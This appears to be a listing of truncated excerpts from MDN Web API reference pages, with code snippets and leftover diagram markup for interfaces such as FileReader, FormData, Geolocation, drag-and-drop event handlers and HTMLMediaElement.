low: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/blob" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">blob</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/file" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mona...
...co,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">file</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor file() returns a newly constructed file.
... instance properties file.prototype.lastmodified read only returns the last modified time of the file, in millisecond since the unix epoch (january 1st, 1970 at midnight).
FileReader.readAsDataURL() - Web APIs
syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from which to read.
... example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; ...
... function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
FileRequest.onprogress - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... each time the function callback is called, it gets an object as its first parameter.
... example // assuming 'request' which is a filerequest object request.onprogress = function (status) { var progress = document.queryselector('progress'); progress.value = status.loaded; progress.max = status.total; } specification not part of any current specification.
FocusEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/focusevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">focusevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor focusevent() creates a focusevent event with the given parameters.
...in some cases (such as when tabbing in or out a page), this property may be set to null for security reasons.
FontFaceSet - Web APIs
fontfaceset.ready read only promise which resolves once font loading and layout operations have completed.
... fontfaceset.check() a boolean that indicates whether a font is loaded, but doesn't initiate a load when it isn't.
... fontfaceset.load() returns a promise which resolves to a list of font-faces for a requested font.
FormData() - Web APIs
WebAPIFormDataFormData
syntax var formdata = new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type...
...those with a name, not disabled and checked (radio buttons and checkboxes) or selected (one or more options within a select).
Using FormData Objects - Web APIs
creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); ...
...demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use preventdefault to stop the default form submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); when the formdata event fires we can access the formdata object using formdataevent.formdata, then do what we like with it (below we post it to the server using xmlhttprequest).
...stener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr let request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); note: the formdata event and formdataevent object are available in chrome from version 77 (and other equivalent chromiums), and firefox 72 (first available behind the dom.formdata.event.enabled pref in firefox 71).
FormData.append() - Web APIs
WebAPIFormDataappend
this can be a usvstring or blob (including subclasses such as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', 'chris'); formdata.append('userpic', myfileinput.files[0], 'chris.jpg'); as with regular form data, you can append multiple values with the same name.
... for example (and being compatible with php's naming conventions by adding [] to the name): formdata.append('userpic[]', myfileinput.files[0], 'chris1.jpg'); formdata.append('userpic[]', myfileinput.files[1], 'chris2.jpg'); this technique makes it simpler to process multi-file uploads because the resultant data structure is more conducive to looping.
FullscreenOptions.navigationUI - Web APIs
"auto" the browser will choose which of the above settings to apply.
... example in this example, the entire document is placed into full-screen mode by calling requestfullscreen() on the document's document.documentelement, which is the document's root <html> element.
... let elem = document.documentelement; elem.requestfullscreen({ navigationui: "show" }).then({}).catch(err => { alert(`an error occurred while trying to switch into full-screen mode: ${err.message} (${err.name})`); }); the promise's resolve handler does nothing, but if the promise is rejected, an error message is displayed by calling alert().
Gamepad - Web APIs
WebAPIGamepad
the gamepad interface of the gamepad api defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id.
... gamepad.index read only an integer that is auto-incremented to be unique for each device currently connected to the system.
... gamepad.hapticactuators read only an array containing gamepadhapticactuator objects, each of which represents haptic feedback hardware available on the controller.
GamepadButton - Web APIs
note: this is the case in firefox gecko 28 and later; chrome and earlier firefox versions still return an array of double values when this property is accessed.
... properties gamepadbutton.value read only a double value used to represent the current state of analog buttons, such as the triggers on many modern gamepads.
... example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in chrome navigator.getgamepads needs a webkit prefix and the button values are stored as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of these we need to access, depending on what type of buttons they are.
Geolocation - Web APIs
be aware that each browser has its own policies and methods for requesting this permission.
... geolocation.watchposition() secure context returns a long value representing the newly established callback function to be invoked whenever the device location changes.
... geolocation.clearwatch() secure context removes the particular handler previously installed using watchposition().
GeolocationCoordinates.heading - Web APIs
the geolocationcoordinates.heading read-only property is a double representing the direction in which the device is traveling.
...zero degrees represents true true north, and the direction is determined clockwise (which means that east is 90 degrees and west is 270 degrees).
... syntax let heading = geolocationcoordinatesinstance.heading value a double representing the direction in which the device is traveling.
GeolocationCoordinates - Web APIs
the geolocationcoordinates interface represents the position and altitude of the device on earth, as well as the accuracy with which these properties are calculated.
... geolocationcoordinates.heading read only secure context returns a double representing the direction towards which the device is facing.
...0 degrees represents true north, and the direction is determined clockwise (which means that east is 90 degrees and west is 270 degrees).
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragenter - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragexit - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag ...
GlobalEventHandlers.ondragleave - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_han...
...dler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's background color back to green to signify a dragexit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this elem...
GlobalEventHandlers.oninput - Web APIs
note: unlike oninput, the onchange event handler is not necessarily called for each alteration to an element's value.
... example this example logs the number of characters in an <input> element, every time you modify its contents.
... html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression.
... html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
...*/ (function () { const ssecret = /* choose your hidden word...: */ "exit"; let noffset = 0; document.onkeypress = function(opevt) { let oevent = opevt || window.event, nchr = oevent.charcode, snodetype = oevent.target.nodename.touppercase(); if (nchr === 0 || oevent.target.contenteditable.touppercase() === "true" || snodetype === "textarea" || snodetype === "input" && oevent.target.type.touppercase() === "text") { return true; } if (nchr !== ssecret.charcodeat(noffset)) { noffset = nchr === ssecret.charcodeat(0) ?
HTMLCanvasElement.mozGetAsFile() - Web APIs
type optional a domstring which specifies the image file format to use when creating the new image file.
...the file's data is entirely located in memory until such time as it is explicitly written to disk.
...); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function copy() { var canvas = document.getelementbyid('canvas'); var f = canvas.mozgetasfile('test.png'); var reader = new filereader(); reader.readasdataurl(f); reader.onloadend = function() { var newimg = document.createelement('img'); newimg.src = reader.result; document.body.appendchild(newimg); } } window.addeventlistener('load', draw); specifications not part of any specification.
HTMLDataListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
HTMLDialogElement.returnValue - Web APIs
the returnvalue property of the htmldialogelement interface gets or sets the return value for the <dialog>, usually to indicate which button the user pressed to close it.
... <menu> <button>cancel</button> <button>confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if (dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } function handleuserinput(returnvalue) { if (returnvalue === 'cancel' || returnvalue == null) { // user canceled the dialog, do nothing } else if (returnvalue === 'confirm') { // user chose a favorite ani...
...mal, do something with it } } // “update details” button opens the <dialog> modally updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); handleuserinput(dialog.returnvalue); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement - Web APIs
vg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
...irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLElement: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
...it then sets the element's display property to none, which will trigger the animationcancel event.
...); animated.style.display = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation...
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
when click() is used with supported elements (such as an <input>), it fires the element's click event.
... this event then bubbles up to elements higher in the document tree (or event chain) and fires their click events.
... syntax element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
... the device's screen orientation is changed while the pointer is active.
... the touch-action css property prevents the input from continuing.
HTMLEmbedElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlembedelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
HTMLImageElement.hspace - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethspacechrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.vspace - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvspacechrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
HTMLInputElement.setRangeText() - Web APIs
start optional the 0-based index of the first character to replace.
... end optional the 0-based index of the character after the last character to replace.
... living standard no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLKeygenElement - Web APIs
the <keygen> elements expose the htmlkeygenelement interface, which provides special properties and methods (beyond the regular element object interface they also have available to them by inheritance) for manipulating the layout and presentation of keygen elements.
... challenge is a domstring that reflects the challenge html attribute, containing a challenge string that is packaged with the submitted key.
... methods name & arguments return description checkvalidity() boolean always returns true because keygen objects are never candidates for constraint validation.
HTMLMediaElement.autoplay - Web APIs
note: sites which automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so it should be avoided when possible.
... for a much more in-depth look at autoplay, autoplay blocking, and how to respond whena autoplay is blocked by the user's browser, see our article autoplay guide for media and web audio apis.
... living standard no change from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification.
HTMLMediaElement.controlsList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontrolslistchrome full support 58edge full support ≤79firefox ?
... webview android full support 58chrome android full support 58firefox android ?
HTMLMediaElement.currentSrc - Web APIs
the htmlmediaelement.currentsrc property contains the absolute url of the chosen media resource.
... syntax var mediaurl = audioobject.currentsrc; value a domstring object containing the absolute url of the chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided.
... living standard no change from html5 html5the definition of 'htmlmediaelement.currentsrc' in that specification.
HTMLMediaElement.playbackRate - Web APIs
the htmlmediaelement.playbackrate property sets the rate at which the media is being played back.
... the pitch of the audio is corrected by default and is the same for every speed.
... some browsers implement the non-standard htmlmediaelement.preservespitch property to control this.
HTMLMediaElement.src - Web APIs
the htmlmediaelement.src property reflects the value of the html media element's src attribute, which indicates the url of a media resource to use in the element.
... note: the best way to know the url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource from a list provided in an htmlsourceelement (which represents a <source> element).
... living standard no change from html5 html5the definition of 'htmlmediaelement.src' in that specification.
HTMLMenuItemElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
